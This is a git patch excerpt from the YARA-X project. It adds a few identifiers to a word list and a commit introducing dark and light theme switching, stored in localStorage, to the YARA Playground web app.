"--define-varvalue", "--disable-console-logs", "--disable-warnings", @@ -681,6 +682,8 @@ "sha1string", "sha256offset-size", "sha256string", + "shellitem", + "shellitemtype", "showcommand", "signature", "signerinfo", @@ -790,6 +793,7 @@ "yrx_scanner_fast_scan", "yrx_scanner_finish", "yrx_scanner_iter_slowest_rules", + "yrx_scanner_max_matches_per_pattern", "yrx_scanner_on_console_log", "yrx_scanner_on_matching_rule", "yrx_scanner_scan", From 15f49845ff042543639273d3903c984010a8c57a Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Fri, 7 Aug 2026 10:17:18 +0200 Subject: [PATCH 026/259] feat: add dark and light mode theme support This commit introduces the ability for users to switch between dark and light themes within the YARA Playground. Key features include: - A new theme toggle button in the status bar for quick switching. - Theme selection options within the settings dialog. - Persistence of the user's chosen theme across sessions using local storage. - Automatic detection and application of the system's preferred color scheme as the default. - Custom light and dark themes for the Monaco editor to ensure consistency. - Comprehensive styling updates across all components to support both dark and light modes. --- playground/src/app/yara-playground-app.ts | 53 +- .../src/components/yara-settings-dialog.ts | 75 ++ playground/src/components/yara-status-bar.ts | 63 ++ playground/src/editor/yara-monaco.ts | 58 +- .../playground-settings-storage.ts | 27 + playground/src/styles/base.css | 14 +- playground/src/styles/playground.css | 807 ++++++++++++++++++ 7 files changed, 1086 insertions(+), 11 deletions(-) diff --git a/playground/src/app/yara-playground-app.ts b/playground/src/app/yara-playground-app.ts index 5bfa5a2a1..c574419db 100644 --- a/playground/src/app/yara-playground-app.ts +++ b/playground/src/app/yara-playground-app.ts @@ -10,10 +10,14 @@ import "../components/yara-status-bar"; import { PlaygroundEditorController } from "../controllers/playground-editor-controller"; import { PlaygroundSessionController } from "../controllers/playground-session-controller"; import { SplitResizeController } from "../controllers/split-resize-controller"; -import { updateYaraConfig } from "../editor/yara-monaco"; +import { setMonacoTheme, updateYaraConfig } from "../editor/yara-monaco"; import { loadStoredPlaygroundSettings, + loadStoredPlaygroundTheme, + PLAYGROUND_THEME_STORAGE_KEY, storePlaygroundSettings, + storePlaygroundTheme, + type PlaygroundTheme, } from "../persistence/playground-settings-storage"; import type { ExecutionState, @@ -104,6 +108,9 @@ export class YaraPlaygroundApp extends LitElement { @state() private languageServerVersion: string | null = null; + @state() + private theme: PlaygroundTheme = "dark"; + @state() private settings = createDefaultPlaygroundSettings(); @@ -213,12 +220,47 @@ export class YaraPlaygroundApp extends LitElement { } }; + private readonly handleSystemThemeChange = (event: MediaQueryListEvent) => { + try { + const stored = localStorage.getItem(PLAYGROUND_THEME_STORAGE_KEY); + if (!stored) { + this.applyTheme(event.matches ? "light" : "dark"); + } + } catch {} + }; + + private applyTheme(theme: PlaygroundTheme) { + this.theme = theme; + document.documentElement.setAttribute("data-theme", theme); + document.documentElement.setAttribute("data-bs-theme", theme); + document.documentElement.style.colorScheme = theme; + setMonacoTheme(theme); + storePlaygroundTheme(theme); + } + + private handleThemeToggle = () => { + const nextTheme: PlaygroundTheme = this.theme === "dark" ? "light" : "dark"; + this.applyTheme(nextTheme); + }; + + private handleThemeChange = (event: CustomEvent) => { + this.applyTheme(event.detail); + }; + connectedCallback() { super.connectedCallback(); this.sampleMode = this.sessionController.inlineSampleMode; this.settings = loadStoredPlaygroundSettings(); updateYaraConfig(toYaraConfig(this.settings)); + this.theme = loadStoredPlaygroundTheme(); + this.applyTheme(this.theme); window.addEventListener("keydown", this.handleKeydown); + + if (typeof window !== "undefined" && window.matchMedia) { + window + .matchMedia("(prefers-color-scheme: light)") + .addEventListener("change", this.handleSystemThemeChange); + } } protected async firstUpdated() { @@ -260,6 +302,11 @@ export class YaraPlaygroundApp extends LitElement { disconnectedCallback() { window.removeEventListener("keydown", this.handleKeydown); + if (typeof window !== "undefined" && window.matchMedia) { + window + .matchMedia("(prefers-color-scheme: light)") + .removeEventListener("change", this.handleSystemThemeChange); + } if (this.sampleEditorLayoutFrameId != null) { window.cancelAnimationFrame(this.sampleEditorLayoutFrameId); } @@ -634,8 +681,10 @@ export class YaraPlaygroundApp extends LitElement { return html`
diff --git a/playground/src/components/yara-settings-dialog.ts b/playground/src/components/yara-settings-dialog.ts index bfe52f992..8a6690f11 100644 --- a/playground/src/components/yara-settings-dialog.ts +++ b/playground/src/components/yara-settings-dialog.ts @@ -1,5 +1,6 @@ import { LitElement, html, nothing } from "lit"; import { customElement, property, state } from "lit/decorators.js"; +import { classMap } from "lit/directives/class-map.js"; import { clonePlaygroundSettings, @@ -18,6 +19,9 @@ export class YaraSettingsDialog extends LitElement { @property({ type: Boolean }) open = false; + @property({ type: String }) + theme: "dark" | "light" = "dark"; + @property({ attribute: false }) settings: PlaygroundSettings = createDefaultPlaygroundSettings(); @@ -342,8 +346,79 @@ export class YaraSettingsDialog extends LitElement { `; } + private dispatchThemeChange(theme: "dark" | "light") { + this.dispatchEvent( + new CustomEvent<"dark" | "light">("theme-change", { + detail: theme, + bubbles: true, + composed: true, + }), + ); + } + private renderEditorTab() { return html` +
+
+
+

Appearance

+

Choose between dark and light color modes.

+
+
+ +
+ + + +
+
+
diff --git a/playground/src/components/yara-status-bar.ts b/playground/src/components/yara-status-bar.ts index 1ed6da3fb..e2a5a1330 100644 --- a/playground/src/components/yara-status-bar.ts +++ b/playground/src/components/yara-status-bar.ts @@ -11,6 +11,9 @@ export class YaraStatusBar extends LitElement { @property({ type: Boolean }) canRun = false; + @property({ type: String }) + theme: "dark" | "light" = "dark"; + protected createRenderRoot() { return this; } @@ -51,6 +54,15 @@ export class YaraStatusBar extends LitElement { ); }; + private dispatchThemeToggle = () => { + this.dispatchEvent( + new CustomEvent("theme-toggle", { + bubbles: true, + composed: true, + }), + ); + }; + render() { return html`
@@ -65,6 +77,57 @@ export class YaraStatusBar extends LitElement {
+ +